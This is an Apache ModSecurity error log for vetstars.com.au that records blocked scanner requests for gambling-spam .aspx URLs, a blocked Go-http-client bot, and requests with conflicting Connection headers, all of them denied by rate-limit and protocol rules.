[Thu Jan 29 07:25:07.399974 2026] [:error] [pid 20576:tid 20596] [client 176.57.188.217:58216] [client 176.57.188.217] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "aXqa0yrDZws_FlQGi9fgFgAAAco"]
[Thu Jan 29 07:25:10.781405 2026] [:error] [pid 20580:tid 20685] [client 176.57.188.217:45632] [client 176.57.188.217] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/we88%20slot.aspx"] [unique_id "aXqa1pCZ5HHdXPmeL59inQAAApE"]
[Thu Jan 29 07:25:13.588589 2026] [:error] [pid 20580:tid 20673] [client 176.57.188.217:45644] [client 176.57.188.217] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/www%20ufabet%20com.aspx"] [unique_id "aXqa2ZCZ5HHdXPmeL59ioAAAAoU"]
[Thu Jan 29 07:25:16.703935 2026] [:error] [pid 19070:tid 19106] [client 176.57.188.217:45648] [client 176.57.188.217] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xo%20slot.aspx"] [unique_id "aXqa3Lou83lIon_aKgYt-wAAAEA"]
[Thu Jan 29 07:25:19.778687 2026] [:error] [pid 19069:tid 19092] [client 176.57.188.217:47044] [client 176.57.188.217] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/yakuza%20slot.aspx"] [unique_id "aXqa3_DHsRM4BJ9a4QtwlAAAAA4"]
[Thu Jan 29 07:58:14.858788 2026] [:error] [pid 19177:tid 19185] [client 43.130.131.18:56286] [client 43.130.131.18] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aXqilnipGz0PT8TrQv4GOAAAAMY"]
[Thu Jan 29 10:09:08.675038 2026] [:error] [pid 19070:tid 19115] [client 65.108.2.171:2822] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20soft.aspx"] [unique_id "aXrBRLou83lIon_aKgZYUgAAAEk"]
[Thu Jan 29 10:09:11.256299 2026] [:error] [pid 19069:tid 19090] [client 65.108.2.171:2834] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20wallet.aspx"] [unique_id "aXrBR_DHsRM4BJ9a4QuWvQAAAAw"]
[Thu Jan 29 10:09:13.846029 2026] [:error] [pid 20579:tid 20650] [client 65.108.2.171:2836] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pgzeed%20gold.aspx"] [unique_id "aXrBSTVXNopcNyjJc9WdhAAAAkk"]
[Thu Jan 29 10:09:16.442296 2026] [:error] [pid 20580:tid 20685] [client 65.108.2.171:11906] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches666%20pg.aspx"] [unique_id "aXrBTJCZ5HHdXPmeL5-HXAAAApE"]
[Thu Jan 29 10:09:19.064158 2026] [:error] [pid 19177:tid 19201] [client 65.108.2.171:11910] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sbobet%20ca.aspx"] [unique_id "aXrBT3ipGz0PT8TrQv4fCgAAANY"]
[Thu Jan 29 10:09:21.643887 2026] [:error] [pid 20580:tid 20689] [client 65.108.2.171:11918] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20free.aspx"] [unique_id "aXrBUZCZ5HHdXPmeL5-HXwAAApU"]
[Thu Jan 29 10:09:24.079901 2026] [:error] [pid 20486:tid 20495] [client 65.108.2.171:11930] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20game%20666.aspx"] [unique_id "aXrBVHgqSZb6GBx5nnNGfgAAAQY"]
[Thu Jan 29 10:09:26.695770 2026] [:error] [pid 19069:tid 19078] [client 65.108.2.171:27052] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20joker.aspx"] [unique_id "aXrBVvDHsRM4BJ9a4QuW1QAAAAA"]
[Thu Jan 29 10:09:29.280029 2026] [:error] [pid 20486:tid 20509] [client 65.108.2.171:27068] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20true%20wallet.aspx"] [unique_id "aXrBWXgqSZb6GBx5nnNGkgAAARQ"]
[Thu Jan 29 10:09:31.882655 2026] [:error] [pid 20578:tid 20621] [client 65.108.2.171:27072] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet.aspx"] [unique_id "aXrBWw6UX7yOMwQFiye2MQAAAgg"]
[Thu Jan 29 10:09:34.481172 2026] [:error] [pid 20486:tid 20511] [client 65.108.2.171:27084] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot1234%20pg.aspx"] [unique_id "aXrBXngqSZb6GBx5nnNGrQAAARY"]
[Thu Jan 29 10:09:37.079410 2026] [:error] [pid 20576:tid 20596] [client 65.108.2.171:7640] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slotxo%20wallet.aspx"] [unique_id "aXrBYSrDZws_FlQGi9f-6gAAAco"]
[Thu Jan 29 10:09:39.690998 2026] [:error] [pid 19069:tid 19079] [client 65.108.2.171:7648] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/spg%20slot.aspx"] [unique_id "aXrBY_DHsRM4BJ9a4QuW5wAAAAE"]
[Thu Jan 29 10:09:42.292733 2026] [:error] [pid 20579:tid 20647] [client 65.108.2.171:7660] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot168%20wallet.aspx"] [unique_id "aXrBZjVXNopcNyjJc9WdpwAAAkY"]
[Thu Jan 29 10:09:44.863896 2026] [:error] [pid 20576:tid 20588] [client 65.108.2.171:7674] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20168.aspx"] [unique_id "aXrBaCrDZws_FlQGi9f-9QAAAcI"]
[Thu Jan 29 10:09:47.470808 2026] [:error] [pid 20486:tid 20499] [client 65.108.2.171:33218] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20vip.aspx"] [unique_id "aXrBa3gqSZb6GBx5nnNGzAAAAQo"]
[Thu Jan 29 10:09:49.919503 2026] [:error] [pid 20576:tid 20605] [client 65.108.2.171:33220] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20auto.aspx"] [unique_id "aXrBbSrDZws_FlQGi9f--AAAAdM"]
[Thu Jan 29 10:09:52.531380 2026] [:error] [pid 20578:tid 20613] [client 65.108.2.171:33232] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20net.aspx"] [unique_id "aXrBcA6UX7yOMwQFiye2VgAAAgA"]
[Thu Jan 29 10:09:55.154169 2026] [:error] [pid 19071:tid 19149] [client 65.108.2.171:34732] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20wallet.aspx"] [unique_id "aXrBc5fa8Ix5wWmtmJzp5wAAAJA"]
[Thu Jan 29 10:09:57.763051 2026] [:error] [pid 20519:tid 20554] [client 65.108.2.171:34742] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wallet%20slot.aspx"] [unique_id "aXrBdQo4s4fyROrkyRlwHwAAAYY"]
[Thu Jan 29 22:28:42.360644 2026] [:error] [pid 19071:tid 19133] [client 47.90.227.150:33718] [client 47.90.227.150] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aXtumpfa8Ix5wWmtmJyitAAAAIA"]
[Thu Jan 29 22:28:42.974349 2026] [:error] [pid 39863:tid 39882] [client 47.90.227.150:37402] [client 47.90.227.150] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aXtumrsHJJGGu8set58NaAAAAVA"]
[Thu Jan 29 22:34:38.258834 2026] [:error] [pid 20576:tid 20587] [client 192.144.148.122:56586] [client 192.144.148.122] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aXtv_irDZws_FlQGi9eIdgAAAcE"]
[Thu Jan 29 23:05:58.645255 2026] [:error] [pid 19071:tid 19149] [client 49.51.73.183:53512] [client 49.51.73.183] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aXt3Vpfa8Ix5wWmtmJytUQAAAJA"]
[Fri Jan 30 00:38:54.302206 2026] [:error] [pid 39501:tid 39518] [client 54.37.86.225:53054] [client 54.37.86.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20wallet.aspx"] [unique_id "aXuNHi_BLgXFo3daaZiq-gAAAAk"]
[Fri Jan 30 00:38:56.775904 2026] [:error] [pid 39783:tid 39785] [client 54.37.86.225:36438] [client 54.37.86.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflik.aspx"] [unique_id "aXuNIK51RNfzhKG5ppOuSQAAAEA"]
[Fri Jan 30 00:38:59.366122 2026] [:error] [pid 39503:tid 39586] [client 54.37.86.225:36440] [client 54.37.86.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflix.aspx"] [unique_id "aXuNIzzoHqvQcupFdnbi2AAAARc"]
[Fri Jan 30 00:39:01.919801 2026] [:error] [pid 39813:tid 39836] [client 54.37.86.225:36450] [client 54.37.86.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20wallet.aspx"] [unique_id "aXuNJd_AaZSBkqpNK03F4AAAAVU"]
[Fri Jan 30 00:39:04.434319 2026] [:error] [pid 39592:tid 39617] [client 54.37.86.225:59406] [client 54.37.86.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dg%20casino.aspx"] [unique_id "aXuNKJlnGYODSsJUyHkuygAAANQ"]
[Fri Jan 30 00:39:06.822862 2026] [:error] [pid 39502:tid 39557] [client 54.37.86.225:59408] [client 54.37.86.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/g2g%20slot.aspx"] [unique_id "aXuNKgCUcXwXieepEYjdYwAAAJU"]
[Fri Jan 30 00:39:09.385199 2026] [:error] [pid 39813:tid 39828] [client 54.37.86.225:59410] [client 54.37.86.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "aXuNLd_AaZSBkqpNK03F6QAAAU0"]
[Fri Jan 30 00:39:11.965867 2026] [:error] [pid 39813:tid 39832] [client 54.37.86.225:59412] [client 54.37.86.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "aXuNL9_AaZSBkqpNK03F6wAAAVE"]
[Fri Jan 30 00:39:14.331165 2026] [:error] [pid 39503:tid 39582] [client 54.37.86.225:53544] [client 54.37.86.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/h25%20com.aspx"] [unique_id "aXuNMjzoHqvQcupFdnbi9QAAARM"]
[Fri Jan 30 00:39:16.727280 2026] [:error] [pid 39592:tid 39615] [client 54.37.86.225:53556] [client 54.37.86.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jili%20slot.aspx"] [unique_id "aXuNNJlnGYODSsJUyHku3QAAANI"]
[Fri Jan 30 00:39:19.277656 2026] [:error] [pid 39501:tid 39530] [client 54.37.86.225:53566] [client 54.37.86.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/joker%20slot.aspx"] [unique_id "aXuNNy_BLgXFo3daaZirIgAAABU"]
[Fri Jan 30 00:39:21.807675 2026] [:error] [pid 39592:tid 39612] [client 54.37.86.225:53574] [client 54.37.86.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/joker%20vip.aspx"] [unique_id "aXuNOZlnGYODSsJUyHku5gAAAM8"]
[Fri Jan 30 00:39:24.335147 2026] [:error] [pid 39813:tid 39819] [client 54.37.86.225:47138] [client 54.37.86.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/kingkong%20joker.aspx"] [unique_id "aXuNPN_AaZSBkqpNK03F_wAAAUQ"]
[Fri Jan 30 00:39:26.850289 2026] [:error] [pid 39592:tid 39601] [client 54.37.86.225:47148] [client 54.37.86.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lava%20slot.aspx"] [unique_id "aXuNPplnGYODSsJUyHku8AAAAMQ"]
[Fri Jan 30 00:39:29.366040 2026] [:error] [pid 39592:tid 39615] [client 54.37.86.225:47156] [client 54.37.86.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mega%20slot.aspx"] [unique_id "aXuNQZlnGYODSsJUyHku8gAAANI"]
[Fri Jan 30 00:39:31.758114 2026] [:error] [pid 39592:tid 39608] [client 54.37.86.225:47170] [client 54.37.86.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/metal%20slot.aspx"] [unique_id "aXuNQ5lnGYODSsJUyHku_gAAAMs"]
[Fri Jan 30 00:39:34.296920 2026] [:error] [pid 39502:tid 39556] [client 54.37.86.225:44390] [client 54.37.86.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20168.aspx"] [unique_id "aXuNRgCUcXwXieepEYjdlwAAAJQ"]
[Fri Jan 30 00:39:36.837657 2026] [:error] [pid 39813:tid 39828] [client 54.37.86.225:44402] [client 54.37.86.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20auto.aspx"] [unique_id "aXuNSN_AaZSBkqpNK03GGgAAAU0"]
[Fri Jan 30 00:39:39.342459 2026] [:error] [pid 39592:tid 39620] [client 54.37.86.225:44414] [client 54.37.86.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20betflik.aspx"] [unique_id "aXuNS5lnGYODSsJUyHkvGQAAANc"]
[Fri Jan 30 00:39:41.887067 2026] [:error] [pid 39501:tid 39510] [client 54.37.86.225:44428] [client 54.37.86.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20game%20slot.aspx"] [unique_id "aXuNTS_BLgXFo3daaZirSAAAAAE"]
[Fri Jan 30 00:39:44.288918 2026] [:error] [pid 39813:tid 39836] [client 54.37.86.225:58962] [client 54.37.86.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20game.aspx"] [unique_id "aXuNUN_AaZSBkqpNK03GMgAAAVU"]
[Fri Jan 30 00:39:46.804222 2026] [:error] [pid 39783:tid 39807] [client 54.37.86.225:58970] [client 54.37.86.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20joker%20auto.aspx"] [unique_id "aXuNUq51RNfzhKG5ppOujQAAAFY"]
[Fri Jan 30 00:39:49.207875 2026] [:error] [pid 39502:tid 39547] [client 54.37.86.225:58978] [client 54.37.86.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20joker.aspx"] [unique_id "aXuNVQCUcXwXieepEYjdqwAAAIs"]
[Fri Jan 30 00:40:34.935765 2026] [:error] [pid 39502:tid 39538] [client 54.37.86.225:58982] [client 54.37.86.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pgslot%20login.aspx"] [unique_id "aXuNggCUcXwXieepEYjeBgAAAII"]
